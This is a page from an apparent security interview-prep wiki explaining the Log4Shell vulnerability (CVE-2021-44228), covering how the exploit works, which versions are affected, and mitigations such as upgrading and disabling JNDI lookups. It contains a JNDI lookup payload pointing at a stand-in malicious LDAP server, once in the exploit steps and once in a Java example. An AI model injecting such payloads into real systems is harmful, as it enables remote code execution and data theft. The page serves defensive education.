Interview Bank
  • Interview Bank
  • Web
    • Persistent Connection and Non Persistent
    • CDN
    • Code Review
    • JWT
      • JWT vs Session Based Authentication
      • JWT Challenge
      • JWE
      • JWS
    • Content Security Policy (CSP)
    • Same-origin Policy (SOP)
    • Cross-Origin Resource Sharing (CORS)
      • Exploiting CORS
    • HTTP Strict Transport Security (HSTS)
    • SQL Injection (SQLi)
    • Password Encryption in Login APIs
    • API Security
      • API Principles
    • Simple bypass PHP
    • Server-side Template Injection (SSTI)
    • Javascript Object and Inheritance
    • HTTP/2
    • Cookie vs Local vs session Storage
    • XML External Entity (XXE)
    • What happened when enter domain name in browser
    • Prototype Pollution - Part 1
    • Prototype Pollution - Part 2
    • Nginx vs Apache
  • OT Security
    • Securing Operational Technology: Understanding OT Security
  • Quantum Computing
    • Quantum Computing: Unveiling the Cryptographic Paradigm Shift
    • Quantum Obfuscation: Shielding Code in the Quantum Era
  • DevSecOps
    • Continuous Integration/Continuous Deployment Pipeline Security
    • Chaos Engineering Overview
      • Security Chaos Engineering
    • Mysql VS redis
    • Kubernetes (k8s)
    • How MySQL executes query
    • REDIS
    • Difference between cache and buffer
  • Windows
    • Pentesting Active Directory - Active Directory 101
    • Pentesting Active Directory - Kerberos (Part 1)
    • Pentesting Active Directory - Kerberos (Part 2)
    • AD vs Kerberos vs LDAP
    • Active Directory Certificate Services Part 1
    • Unconstrained Delegation
    • AS-REP Roasting
    • NTLM Relay via SMB
    • LLMRN
    • Windows lateral movement
    • Constrained Delegation
    • Resource-Based Constrained Delegation
    • IFEO (lmage File Execution Options) Hijacking
  • UNIX
    • Setuid
  • Large Language Models (LLMs)
    • Tokens
    • LangChain
    • Integration and Security
  • Android
    • Keystore
  • Red team development
    • Secure C2 Infrastructure
    • P Invoke in c#
    • D Invoke
    • ExitProcess vs ExitThread
  • Blue Team
    • Indicators of Compromise
    • Methods to prevent Email domain spoofing
    • Windows Prefetching
  • CVE
    • XZ Outbreak CVE-2024-3094
    • Log4J Vulnerability (CVE-2021-44228)
    • SolarWinds Hack (CVE-2020-10148)
    • PHP CGI RCE (CVE-2024-4577)
    • Windows Recall
  • Software Architecture
    • Microservices
    • KVM
  • Docker
    • Overview
    • Daemon Socket
    • Tips to reduce docker size
  • Blockchain
    • Overview
    • Smart Contract
  • Business Acumen
    • Market Research Reports and Perception
    • Understanding Acquisitions
    • Cybersecurity as a Business Strategy
  • Cyber Teams
    • Introduction to Purple Teaming
  • Malware
    • Dynamic Sandbox Limitations
Powered by GitBook
On this page
  1. CVE

Log4J Vulnerability (CVE-2021-44228)

Log4J is a widely used Java-based logging utility that is part of the Apache Logging Services. It allows developers to log various levels of information, which can be essential for debugging.

What Happened?

A critical vulnerability, known as CVE-2021-44228 or "Log4Shell," was discovered in Log4J. This vulnerability allows for remote code execution (RCE), meaning an attacker can execute arbitrary code on a server running a vulnerable version of Log4J. The vulnerability stems from Log4J’s handling of log messages. When logging certain strings, the library can execute arbitrary code fetched from remote servers.

How Did the Exploit Occur?

Despite Log4J being an open-source project with community oversight, the exploit was possible due to a feature within the library that allowed for dynamic lookups in log messages. This feature could be manipulated to execute remote code.

Exploit Process

  1. Discovery and Announcement: Security researchers discovered that when a specially crafted string is logged, Log4J can make a JNDI (Java Naming and Directory Interface) lookup to a remote LDAP server, which can return a reference to a malicious Java object.

  2. Injection of Malicious Payload: Attackers crafted log messages with malicious JNDI lookup strings (e.g., ${jndi:ldap://malicious.server/exploit}), which were logged by applications using Log4J.

  3. Remote Code Execution: The malicious Java object is deserialized and executed, allowing the attacker to run arbitrary code on the affected system.

Code Example

Here is an example of a vulnerable logging statement:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableApp {
    private static final Logger logger = LogManager.getLogger(VulnerableApp.class);

    public static void main(String[] args) {
        String userInput = "${jndi:ldap://malicious.server/exploit}";
        logger.error("User input: " + userInput);
    }
}

In this example, the log message includes user input that contains a JNDI lookup string. When logged, Log4J processes the JNDI lookup, potentially loading and executing malicious code from the specified server.

What Systems Does It Affect?

This vulnerability impacts any system using a vulnerable version of Log4J (versions 2.0 to 2.14.1). Due to Log4J's widespread use, the impact spans across various industries and includes applications running on cloud environments, enterprise software, and web services.

What Does the Payload Do?

The payload delivered through this exploit allows an attacker to:

  • Execute arbitrary commands on the server.

  • Download and install additional malicious software.

  • Exfiltrate sensitive data.

  • Potentially create a persistent backdoor for ongoing access.

Mitigation Steps

1. Update Log4J:

  • Upgrade to the latest version of Log4J (2.15.0 or later), where the JNDI lookup functionality has been disabled by default.

mvn dependency:tree | grep log4j mvn dependency:resolve -DincludeScope=runtime -Dincludes=org.apache.logging.log4j:log4j-core

Disable JNDI Lookups:

  • In the event you can't update immediately, you can mitigate the risk by setting the log4j2.formatMsgNoLookups system property to true.

System.setProperty("log4j2.formatMsgNoLookups", "true");

Remove JndiLookup class:

  • Another temporary mitigation is to remove the JndiLookup class from the log4j-core jar file.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Interview Questions

1. What are some proactive measures that organizations can take to reduce the risk of similar vulnerabilities in the future?

2. How can organizations effectively balance the need for rapid feature development with the imperative of thorough security testing and code review?

3. If you were responsible for responding to an incident like CVE-2021-44228, what immediate steps would you take to mitigate the threat? Cheers Guys, Hope yall enjoyed this sharing!

PreviousXZ Outbreak CVE-2024-3094NextSolarWinds Hack (CVE-2020-10148)

Last updated 11 months ago

References:

https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://logging.apache.org/log4j/2.x/security.html